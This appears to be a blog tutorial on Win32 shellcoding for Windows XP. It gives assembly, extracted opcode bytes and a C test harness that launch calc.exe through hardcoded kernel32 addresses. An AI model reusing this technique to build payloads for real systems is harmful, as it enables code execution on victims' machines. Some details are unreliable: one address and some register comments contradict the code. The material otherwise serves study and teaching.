Win32 Shellcoding
5 minute read
Enviornment Setup
WinExec() function from kernel32.dll
- WinExec function - Microsoft Documentation
- the
kernel32.dll
Dynamically Linking Library is loaded into all windows xp programs
- The
WinExec()
function within kernel32.dll
can be used to launch any program that the user running the process can access
- Use
WinExec()
from kernel32.dll
to launch any program on a windows computer.
- Similar to
Execve()
in linux
UINT WinExec(LPCSTR lpCmdLine, UINT uCmdShow);
// lpCmdLine = path to application to be executed
// uCmdShow = Display options
lpCmdLine Parameter
- If the lpCmdLine variable does not include the full path to the application, then the path is determined in this order:
- The directory from which the application loaded.
- The current directory.
- The Windows system directory.
- The
GetSystemDirectory
function retrieves the path of this directory.
- The Windows directory.
- The
GetWindowsDirectory
function retrieves the path of this directory.
- The directories listed in the
PATH
environment variable.
uCmdShow Parameter
SW-SHOWNORMAL = 0x00000001
- An application should specify this flag when displaying the window for the first time.
Find WinExec & ExitProcess Address’s within kernel32.dll
C:\arwin.exe
arwin - win32 address resolution program - by steve hanna - v.01
Usage: arwin.exe <Library Name> <Function Name>
C:\arwin.exe kernel32.dll WinExec
WinExec is located at 0x738623ad in kernel32.dll
C:\arwin.exe kernel32.dll ExitProcess
ExitProcess is located at 0x7c81cafa in kernel32.dll
- The
ExitProcess
function within kernel32.dll
is used to gracefully close the host process after the calc.exe process is launched using the WinExec
function.
- Arwin is case sensitive for the
<Function Name>
parameter.
Creating the Shellcode Assembly
Push to Stack Little Endian
reverse.py source code
#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length : ' +str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]
for item in stringList[::-1] :
print item[::-1] + ' : ' + str(item[::-1].encode('hex'))
- Python program from Vivek’s SLAE32 course at Penteser Academy.
- Best course for Linux 32-bit Shellcoding.
calc.exe to Little Endian
root@kali# python reverse.py "calc.exe"
String length : 8
exe. : 6578652e
clac : 636c6163
- Intel 32 bit processor’s store data on the Stack in Little Endian
- To put something in Little Endian format, just put the hex of the bytes in as reverse
execCalc.asm
; UINT WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
; WinExec() = 0x7c8623ad # kernel32.dll on WinXP SP3
; lpCmdLine = "calc.exe" # String to program path
; uCmdShow = 0x00000001 # SW_SHOWNORMAL - displays a window
xor ecx, ecx ; clear eax register
push ecx ; string terminator 0x00 for "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163
mov eax, esp ; save pointer to "calc.exe" string in ebx
inc ecx ; uCmdShow SW_SHOWNORMAL - 0x00000001
push ecx ; uCmdShow *ptr to stack in 2nd position - LIFO
push eax ; lpcmdLine *ptr to stack in 1st position
mov ebx, 0x7c8623ad ; call WinExec() function addr in kernel32.dll
call ebx ; win32 does not support call to address
; ExitProcess is located at 0x7c81cafa in kernel32.dll
xor eax, eax ; clear the eax register
push eax ; push a null
mov eax, 0x7c81cafa ; ExitProcess Address
jmp eax ; Execute the ExitProcess function
Compile Assembly to Object File
root@kali# nasm -v
NASM version 2.14.02
root@kali# nasm -f elf32 execCalc.asm -o execCalc.o
- Shellcode was created and compiled on x64 Kali Host
- Compiling as a linux 32 ELF file oddly yielded the best results for Windows 32-bit shellcode.
- Should not matter since we are only using nasm to translate the opcodes for us so we do not have to do it by hand.
root@kali# for i in $(objdump -D execCalc.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xb8\xfa\xca\x81\x7c\xff\xe0
Testing the Shellcode on Windows XP 32-bit
char code[] = \
"\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89"
"\xe0\x41\x51\x50\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50"
"\xb8\xfa\xca\x81\x7c\xff\xe0";
int main(int argc, char **argv)
{
int (*func)();
func = (int(*)()) code;
(int)(*func)();
}
Test Shellcode Execution
- The host program gracefully closes using the
ExitProcess
function at the end of our Shellcode.
- The calculator process runs even after the host process dies because it is it’s own process.
- Without the
ExitProcess
function, the calculator successfully launches, but the host process returns a windows exception / error.
Resources